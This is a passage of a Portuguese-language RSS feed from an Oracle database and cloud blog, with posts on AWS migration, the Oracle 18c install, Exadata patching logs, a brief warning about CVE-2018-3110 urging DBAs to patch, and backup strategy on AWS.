&lt;p&gt;Leo&lt;/p&gt;</description></item><item><title>Um how-to da AWS</title><link>https://blog.cafecomcloud.com.br/pt-br/2018/11/14/a-how-to-from-aws/</link><pubDate>Wed, 14 Nov 2018 17:01:29 -0200</pubDate><guid>https://blog.cafecomcloud.com.br/pt-br/2018/11/14/a-how-to-from-aws/</guid><description>&lt;p&gt;Eu sei que vocês ouviram falar do outage da Amazon numa loja específica durante a migração de Oracle pra Aurora. Mas o que vocês não ouviram é: eles já migraram 88% do parque Oracle deles pra Aurora, e o único problema real foi o que veio a público (claro).&lt;/p&gt;
&lt;p&gt;Então, se você quer dar uma olhada nesse how-to, como usar o serviço AWS DMS, pega um café e segue o link abaixo:&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://aws.amazon.com/blogs/database/best-practices-for-migrating-an-oracle-database-to-amazon-rds-postgresql-or-amazon-aurora-postgresql-migration-process-and-infrastructure-considerations/" target="_blank" rel="noopener"
 &gt;https://aws.amazon.com/blogs/database/best-practices-for-migrating-an-oracle-database-to-amazon-rds-postgresql-or-amazon-aurora-postgresql-migration-process-and-infrastructure-considerations/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Falamos,&lt;/p&gt;</description></item><item><title>Install do 18c on-premises - primeiras impressões</title><link>https://blog.cafecomcloud.com.br/pt-br/2018/09/10/18c-install-on-premises-first-impressions/</link><pubDate>Mon, 10 Sep 2018 18:35:18 -0300</pubDate><guid>https://blog.cafecomcloud.com.br/pt-br/2018/09/10/18c-install-on-premises-first-impressions/</guid><description>&lt;p&gt;E aí pessoal,&lt;/p&gt;
&lt;p&gt;Algumas coisas mudaram no 18c. Hoje vou explicar minhas primeiras impressões desse produto bem novinho on-premises e algumas comparações com versões anteriores (PS: eu classifiquei cada tópico antes de começar a falar.. espero ajudar vocês no próximo upgrade)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Download: se você baixar pelo Oracle OTN, vai notar que tem só um zip pro Oracle database e um zip pro install do grid.&lt;/li&gt;
&lt;li&gt;Install: agora você tem que descompactar todo o conteúdo dentro do Oracle_HOME &amp;lt;- eles chamam esse novo jeito de &amp;ldquo;Simplified Image-based Oracle Database Installation&amp;rdquo;&lt;/li&gt;
&lt;li&gt;Install: o runInstaller foi substituído pelo gridSetup.sh (no caso de install do Grid) e pro Installer de database você ainda precisa executar o runInstall.sh&lt;/li&gt;
&lt;li&gt;Install: você vai precisar de pelo menos uma máquina com 8 GB de RAM pra instalar grid / database.&lt;/li&gt;
&lt;li&gt;Install: pro installer de database, agora você tem as duas opções de install (como no Installer do 10g) - você pode escolher instalar Enterprise ou Standard Edition 2.&lt;/li&gt;
&lt;li&gt;Install: agora você pode escolher no install do database o TFA durante a execução do root.sh.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="Screen Shot 2018-09-10 at 17.33.02" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://blog.cafecomcloud.com.br/images/screen-shot-2018-09-10-at-17-33-02.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screen Shot 2018-09-10 at 18.32.51" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://blog.cafecomcloud.com.br/images/screen-shot-2018-09-10-at-18-32-51.png"&gt;&lt;/p&gt;
&lt;p&gt;Falamos :-)&lt;/p&gt;</description></item><item><title>Por que considerar cloud. Hoje.</title><link>https://blog.cafecomcloud.com.br/pt-br/2018/08/20/why-you-should-consider-cloud-today/</link><pubDate>Mon, 20 Aug 2018 10:44:16 -0300</pubDate><guid>https://blog.cafecomcloud.com.br/pt-br/2018/08/20/why-you-should-consider-cloud-today/</guid><description>&lt;p&gt;Beleza. Você abriu esse post, eu tenho sua atenção por talvez 1 minuto no máximo, e eu espero que você não esteja rolando a página pra baixo fazendo aquela leitura rápida.&lt;/p&gt;
&lt;p&gt;Eu não vou te dizer que migrando pra cloud você vai economizar budget comparado com arquiteturas on-premises, porque às vezes isso não é verdade. Eu não vou dizer pra você que 4 centavos por gig é um ótimo valor, porque quando você multiplica isso por um milhão ou um trilhão (petabytes) você vai ter um problema nas mãos.&lt;/p&gt;
&lt;p&gt;O que eu vou te dizer é por que, sério, você precisa pensar em cloud hoje. Não deixa pra amanhã. Gasta 3 minutos aqui comigo, hoje. Bora?&lt;/p&gt;
&lt;p&gt;Quer saber o que é realmente legal e incrível em cloud computing? Beleza. Em cinco anos (ou talvez na semana que vem), você como profissional sênior de TI está conversando com seu filho ou filha, que também trabalha com TI, lembrando da &amp;ldquo;era de ouro&amp;rdquo;, dos &amp;ldquo;bons e velhos tempos&amp;rdquo;, da &amp;ldquo;velha escola&amp;rdquo;. Aqui está o que vocês vão conversar:&lt;/p&gt;
&lt;p&gt;-- Olha filho, quando eu tinha sua idade, um belo dia meu chefe entrou na minha sala gritando comigo (porque alguém estava gritando com ele) &amp;ldquo;Precisamos disponibilizar esses servidores hoje!! Já temos o código pronto, uma aplicação bonitona e colorida que vai engajar 5 vezes mais clientes pra gente, e precisamos fazer o deploy da infraestrutura hoje&amp;rdquo;. O que eu pensava? Se tudo já tinha sido comprado, isso significava uma noite/madrugada/manhã perdida, 2 talvez 5 gramas de cafeína, níveis altos de cortisol, e meu trabalho ia ser:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;desencaixotar tudo e me virar dentro do datacenter&lt;/li&gt;
&lt;li&gt;instalar fisicamente os servidores, firewalls, balanceadores de rede, cabeamento, e fazer eles receberem AC power pela primeira vez&lt;/li&gt;
&lt;li&gt;se nada explodisse, todas as luzes verdes e tudo 5 por 5, era hora de instalar e configurar tudo: OS, regras de firewall, storage, rede, últimos patches, e teste, teste, teste.&lt;/li&gt;
&lt;li&gt;se tudo desse certo, eu agora deveria ter 2 talvez 3 servidores, disponíveis pra receber o código. São 11 da manhã, meu chefe está gritando comigo de novo (não é culpa dele, é um momento crítico), mas depois de 12 horas eu virei um herói e nossa aplicação nova e colorida está rodando sem nenhum problema.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;-- O quê??? 10 horas, pai? E você não foi demitido?&lt;/p&gt;
&lt;p&gt;-- Não filho, eu virei herói. Como você faria tudo isso hoje?&lt;/p&gt;
&lt;p&gt;-- 5 cliques, 15 minutos de trabalho, sendo pessimista.&lt;/p&gt;
&lt;p&gt;Em 2006, quando a AWS lançou o EC2, o jogo começou a mudar, meus amigos. TI e Negócio começaram a fazer as pazes, andando de mãos dadas um com o outro. TI não é mais &amp;ldquo;aquele lugar ruim, com pessoas chatas que todo dia falam NÃO pra mim&amp;rdquo;. Agora a TI são os caras bons. Os caras do &amp;ldquo;vamos fazer&amp;rdquo;. Por quê? Porque você não precisa mais gastar 10 horas. Com 10 cliques e alguns minutos você tem o trabalho feito. É incrível, né?&lt;/p&gt;
&lt;p&gt;Beleza. Alguns de vocês agora estão pensando &amp;ldquo;mas eu tenho um ambiente virtualizado&amp;rdquo;, eu rodo um hypervisor. Eu tenho templates e automação pra fazer esse trabalho em minutos também.&lt;/p&gt;
&lt;p&gt;Mas e a capacidade da sua fazenda? Você tem cores, RAM e disco suficientes pra fazer deploy de algo que vira realidade hoje? Você precisa fazer planejamento anual de capacidade, comprar e disponibilizar toda essa capacidade pra um dia, talvez, consumir ela?&lt;/p&gt;
&lt;p&gt;Se você não consegue expandir sua fazenda hoje, mas seu concorrente consegue, como isso pode afetar seus objetivos de negócio? Num mundo do hoje, agora, esse segundo, você pode realmente esperar horas/dias/semanas pra ter sua infraestrutura pronta?&lt;/p&gt;
&lt;p&gt;Virtualização é incrível. Virtualização mudou o jogo no passado. Mas virtualização on-premises não tem uma coisa &lt;em&gt;muito&lt;/em&gt; importante. Hyperscale. Você precisa de mil cores hoje? Beleza. Você precisa de 2TB de memória hoje? Beleza. Você precisa de 800TB de disco hoje porque alguém achou que fazer deploy de um cluster Hadoop gigante hoje é uma boa ideia? Beleza.&lt;/p&gt;
&lt;p&gt;Provedores de cloud estão comprando, em escala de milhões, servidores, discos, CPUs novos em folha, pesquisando e desenvolvendo novas ofertas de PaaS e SaaS. Tudo pra fazer seu departamento de TI ser o melhor amigo do negócio.&lt;/p&gt;
&lt;p&gt;Cloud não é só sobre economia. Cloud é sobre passar à frente da concorrência. Cloud não é um lugar onde todo mundo é feliz e você deveria ser feliz lá também. Cloud é uma ferramenta. E você deveria considerar usar essa ferramenta. Hoje.&lt;/p&gt;
&lt;p&gt;Falamos!&lt;/p&gt;</description></item><item><title>Aplicando Patch em um Engineered System</title><link>https://blog.cafecomcloud.com.br/pt-br/2018/08/16/patching-an-engineered-system/</link><pubDate>Thu, 16 Aug 2018 16:54:11 -0300</pubDate><guid>https://blog.cafecomcloud.com.br/pt-br/2018/08/16/patching-an-engineered-system/</guid><description>&lt;p&gt;Todo mundo no mundo de Oracle DBA sabe o valor chave de usar um Engineered System, tipo Exadata ou Supercluster.&lt;/p&gt;
&lt;p&gt;Em um banco mission critical on-premises, como DBA a gente precisa consolidar muitos bancos, plataforma em diferentes versões dentro de um Engineered System.&lt;/p&gt;
&lt;p&gt;No mundo Engineered System a gente tem diferentes tipos de patch deployment que consiste em um grupo de muitos outros patches pra diferentes versões de bancos / aplicações / sistema / serviços. Eles são chamados de Oracle Engineered Systems Quarterly Patch Deployment (QPD).&lt;/p&gt;
&lt;p&gt;A vantagem chave de usar QPD é ficar com os best practices patches que foram recomendados pela Oracle. O QDP fica disponível pra download a cada 4 meses e se você tem um contrato, você pode deixar a Oracle aplicar pra você via contrato ACS / platinum. Mais informações, você pode ver em &lt;a class="link" href="https://www.oracle.com/assets/as-quarterly-patch-deployment-3042102.pdf" target="_blank" rel="noopener"
 &gt;https://www.oracle.com/assets/as-quarterly-patch-deployment-3042102.pdf&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Experiências pessoais aplicando patch em Engineered Systems (Exadata, Supercluster)&lt;/strong&gt; Eu tenho algumas experiências aplicando patch em muitos ambientes, sejam sistemas Exadata ou Supercluster.&lt;/p&gt;
&lt;p&gt;Primeiro, eu sempre tiro um exachk. É extremamente importante comparar o quão saudável está seu ambiente antes de aplicar. Sempre baixa o último disponível no MOS &amp;ldquo;Oracle Exadata Database Machine exachk or HealthCheck (Doc ID 1070954.1)&amp;rdquo;&lt;/p&gt;
&lt;p&gt;Segundo, eu recomendo a leitura dessas notas:&lt;/p&gt;
&lt;p&gt;Exadata Database Machine and Exadata Storage Server Supported Versions (Doc ID 888828.1)&lt;/p&gt;
&lt;p&gt;Oracle SuperCluster Supported Software Versions - All Hardware Types (Doc ID 1567979.1)&lt;/p&gt;
&lt;p&gt;PS. nessas notas tem algumas referências a outros Engineered Systems. Se você tem no seu ambiente, por favor dá uma olhada no MOS.&lt;/p&gt;
&lt;p&gt;Então antes de baixar, como em todo patch eu recomendo extremamente ler o README de cada patch antes de começar (parece óbvio, mas eu conheço muitos DBAs que não seguem essa regra secreta) e seguir os prechecks como a Oracle recomenda, tipo espaço, checar se tem algum conflito com outro patch, etc.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Algumas dicas baseadas na minha experiência pessoal&lt;/strong&gt; - Na maioria dos casos, durante o patching alguns erros relacionados com datapatch (no apply do banco) acontecem. Não fica com medo e dá uma olhada em:&lt;/p&gt;
&lt;p&gt;Queryable Patch Inventory - Issues/Solutions for ORA-20001: Latest xml inventory is not loaded into table (Doc ID 1602089.1)&lt;/p&gt;
&lt;p&gt;12.1 : Datapatch Fails with ERROR &amp;ldquo;KUP-04004,KUP-04017,KUP-04118,KUP-04095,ORA-29913&amp;rdquo;,&amp;quot; fatal: libjli.so or libpicl.so.1: open failed&amp;quot; (Doc ID 2085653.1)&lt;/p&gt;
&lt;p&gt;- Se você tem um ambiente segregado, sempre aplica patches em DEV ou UAT primeiro.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Exemplos de apply de patch no banco&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;=====&lt;/p&gt;
&lt;p&gt;Não fica com medo se você tomar um erro. Acontece com todo mundo:&lt;/p&gt;
&lt;p&gt;./datapatch -verbose SQL Patching tool version 12.1.0.2.0 Production on Thu Aug 16 14:39:41 2018 Copyright (c) 2012, 2017, Oracle. All rights reserved.&lt;/p&gt;
&lt;p&gt;Log file for this invocation: /u01/app/grid/cfgtoollogs/sqlpatch/sqlpatch_2278_2018_08_16_14_39_41/sqlpatch_invocation.log&lt;/p&gt;
&lt;p&gt;Connecting to database&amp;hellip;OK Note: Datapatch will only apply or rollback SQL fixes for PDBs that are in an open state, no patches will be applied to closed PDBs. Please refer to Note: Datapatch: Database 12c Post Patch SQL Automation (Doc ID 1585822.1) Bootstrapping registry and package to current versions&amp;hellip;done&lt;/p&gt;
&lt;p&gt;Queryable inventory could not determine the current opatch status. Execute &amp;lsquo;select dbms_sqlpatch.verify_queryable_inventory from dual&amp;rsquo; and/or check the invocation log /u01/app/grid/cfgtoollogs/sqlpatch/sqlpatch_2278_2018_08_16_14_39_41/sqlpatch_invocation.log for the complete error. Prereq check failed, exiting without installing any patches.&lt;/p&gt;
&lt;p&gt;Please refer to MOS Note 1609718.1 and/or the invocation log /u01/app/grid/cfgtoollogs/sqlpatch/sqlpatch_2278_2018_08_16_14_39_41/sqlpatch_invocation.log for information on how to resolve the above errors.&lt;/p&gt;
&lt;p&gt;SQL Patching tool complete on Thu Aug 16 14:39:59 2018&lt;/p&gt;
&lt;p&gt;=====&lt;/p&gt;
&lt;p&gt;É tão bom quando tudo funciona como planejado:&lt;/p&gt;
&lt;p&gt;./datapatch -verbose SQL Patching tool version 12.1.0.2.0 Production on Thu Aug 16 14:47:57 2018 Copyright (c) 2012, 2017, Oracle. All rights reserved.&lt;/p&gt;
&lt;p&gt;Log file for this invocation: /u01/app/grid/cfgtoollogs/sqlpatch/sqlpatch_23787_2018_08_16_14_47_57/sqlpatch_invocation.log&lt;/p&gt;
&lt;p&gt;Connecting to database&amp;hellip;OK Note: Datapatch will only apply or rollback SQL fixes for PDBs that are in an open state, no patches will be applied to closed PDBs. Please refer to Note: Datapatch: Database 12c Post Patch SQL Automation (Doc ID 1585822.1) Bootstrapping registry and package to current versions&amp;hellip;done Determining current state&amp;hellip;done&lt;/p&gt;
&lt;p&gt;Current state of SQL patches: Bundle series DBBP: ID 180717 in the binary registry and not installed in any PDB&lt;/p&gt;
&lt;p&gt;Adding patches to installation queue and performing prereq checks&amp;hellip; Installation queue: For the following PDBs: CDB$ROOT PDB$SEED Nothing to roll back The following patches will be applied: 27547374 (DATABASE BUNDLE PATCH 12.1.0.2.180717)&lt;/p&gt;
&lt;p&gt;Installing patches&amp;hellip; Patch installation complete. Total patches installed: 2&lt;/p&gt;
&lt;p&gt;Validating logfiles&amp;hellip; Patch 27547374 apply (pdb CDB$ROOT): SUCCESS logfile: /u01/app/grid/cfgtoollogs/sqlpatch/27547374/22329708/27547374_apply__MGMTDB_CDBROOT_2018Aug16_14_48_44.log (no errors) Patch 27547374 apply (pdb PDB$SEED): SUCCESS logfile: /u01/app/grid/cfgtoollogs/sqlpatch/27547374/22329708/27547374_apply__MGMTDB_PDBSEED_2018Aug16_14_52_35.log (no errors) SQL Patching tool complete on Thu Aug 16 14:55:29 2018&lt;/p&gt;
&lt;p&gt;=====&lt;/p&gt;
&lt;p&gt;Até breve! :-)&lt;/p&gt;</description></item><item><title>Chefe, é hora de aplicar o patch..</title><link>https://blog.cafecomcloud.com.br/pt-br/2018/08/14/dear-boss-its-time-to-patch/</link><pubDate>Tue, 14 Aug 2018 23:20:15 -0300</pubDate><guid>https://blog.cafecomcloud.com.br/pt-br/2018/08/14/dear-boss-its-time-to-patch/</guid><description>&lt;p&gt;Eu sei. É difícil (mesmo hoje) conseguir uma downtime planejada pro seu banco. Mas quando você mostra pro seu chefe o que essa vulnerabilidade pode fazer, confia em mim, você ganha sua janela.&lt;/p&gt;
&lt;p&gt;Alguns dias atrás eu recebi os detalhes do CVE-2018-3110. Primeiro de tudo, você sabe o que é um CVE?&lt;/p&gt;
&lt;p&gt;CVE vem de Common Vulnerabilities and Exposures, então não é um espaço &amp;ldquo;só de Oracle&amp;rdquo;. Todo produto (de middleware, processadores, linux, switches, até roteadores) tem um dicionário de vulnerabilidades.&lt;/p&gt;
&lt;p&gt;Então, o que esse CVE diz?&lt;/p&gt;
&lt;p&gt;&lt;img alt="CVE-2018-3110" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://blog.cafecomcloud.com.br/images/cve-2018-3110.jpg"&gt;&lt;/p&gt;
&lt;p&gt;E aí?? 9.9 de 10? As plataformas afetadas são windows, linux, unix (ou seja, todas as plataformas, né?)&lt;/p&gt;
&lt;p&gt;Eu não vou fazer um how-to sobre como explorar isso.. mas dá uma olhada na imagem abaixo e faz uns testes (no seu lab, por favor)&lt;/p&gt;
&lt;p&gt;&lt;img alt="CVE-2018-3110-exploit" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://blog.cafecomcloud.com.br/images/cve-2018-3110-exploit.jpg"&gt;&lt;/p&gt;
&lt;p&gt;É hora de aplicar o patch, meus amigos.&lt;/p&gt;
&lt;p&gt;Falamos.&lt;/p&gt;</description></item><item><title>Wow - o tempo voa</title><link>https://blog.cafecomcloud.com.br/pt-br/2018/04/06/wow-time-goes-by/</link><pubDate>Fri, 06 Apr 2018 19:02:53 -0300</pubDate><guid>https://blog.cafecomcloud.com.br/pt-br/2018/04/06/wow-time-goes-by/</guid><description>&lt;p&gt;Wow - 4 meses sem notícias nossas?&lt;/p&gt;
&lt;p&gt;É, a gente sabe. Às vezes a vida te leva pelo caminho mais difícil, e dias, semanas, meses passam num piscar de olhos.&lt;/p&gt;
&lt;p&gt;Mas voltamos com tudo! Novo conhecimento, novo entendimento, novos tópicos, novas certificações..&lt;/p&gt;
&lt;p&gt;Até breve!&lt;/p&gt;
&lt;p&gt;Hang.&lt;/p&gt;</description></item><item><title>Te desejamos o melhor em 2018!</title><link>https://blog.cafecomcloud.com.br/pt-br/2017/12/29/wish-you-the-best-in-2018/</link><pubDate>Fri, 29 Dec 2017 00:03:23 -0200</pubDate><guid>https://blog.cafecomcloud.com.br/pt-br/2017/12/29/wish-you-the-best-in-2018/</guid><description>&lt;p&gt;Eu e o Sharedpool desejamos pra você uma ótima virada de ano e um 2018 incrível!&lt;/p&gt;
&lt;h6 id="image-result-for-happy-new-year-star-wars-copyright-lucasfilm-e-disney---always-"&gt;&lt;img alt="Image result for happy new year star wars" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://blog.cafecomcloud.com.br/images/4143a11a80647f9e9d78660446fa5b07.jpg"&gt; copyright Lucasfilm e Disney - always =]
&lt;/h6&gt;</description></item><item><title>Backup na era cloud - o que está mudando?</title><link>https://blog.cafecomcloud.com.br/pt-br/2017/12/20/backup-in-the-cloud-era-what-is-changing/</link><pubDate>Wed, 20 Dec 2017 13:07:05 -0200</pubDate><guid>https://blog.cafecomcloud.com.br/pt-br/2017/12/20/backup-in-the-cloud-era-what-is-changing/</guid><description>&lt;p&gt;E aí, beleza!&lt;/p&gt;
&lt;p&gt;Espero que esse post te encontre bem. Esses dias um dos meus clientes me pediu pra aconselhar ele sobre procedimentos e soluções de backup/restore num ambiente novo rodando na AWS.&lt;/p&gt;
&lt;p&gt;Bancos de produção vão rodar em instâncias EC2, em Oracle com BYOL (bring your own license). O cliente está pensando em soluções de EBS (Elastic Block Storage) ou S3 (Simple Storage Service).&lt;/p&gt;
&lt;p&gt;Snapshots no mundo Oracle normalmente são usados em conjunto com operações de begin/end backup. Se você tira só 1 snapshot por dia, e não está disposto a perder 24h de dados commitados, você precisa ter uma segunda estratégia de backup. Existe um produto oferecido pela N2WS que é bem incrível pra orquestrar, agendar e controlar os snapshots, você pode configurar pra tirar uma foto a cada 5 min, o que geralmente é menor que um RPO de negócio. Mas e quanto a uma corrupção lógica, um delete errado feito no fim de semana passado? Como restaurar isso? Você precisa reter snaps por uma semana, talvez um mês, talvez um ano, restaurar esse snap em outra instância EC2 e restaurar os dados manualmente. Parece caro, né?&lt;/p&gt;
&lt;p&gt;O jeito do mundo ideal, vindo da documentação, é fazer deploy do OSBCS Oracle Secure Backup Cloud Service. Essa opção (paga) te dá a habilidade de usar S3 como tape, então ajustes mínimos precisam ser feitos pra migrar sua estratégia de backup pra cloud. Você precisa configurar e instalar o OSBCS em cada instância EC2, ajustar seus channels pra usar o OSBCS, e tá pronto pra ir! Retention do RMAN, catalog, tudo flui bonito se você escolher pagar por essa opção. Como o OSBCS é cobrado? Por Channel.&lt;/p&gt;
&lt;p&gt;Então, se você tem 100 bancos, você pode comprar por exemplo 10 channels, e fazer 1 backup por vez com 10 channels, ou 10 backups por vez com 1 channel, ou 2 backups por vez com 5 channels, ou 5 backups por vez com 2 channels, ou.. você pegou a ideia.&lt;/p&gt;
&lt;p&gt;Comentários são bem vindos =]&lt;/p&gt;
&lt;p&gt;Falamos,&lt;/p&gt;
&lt;p&gt;Hang.&lt;/p&gt;</description></item></channel></rss>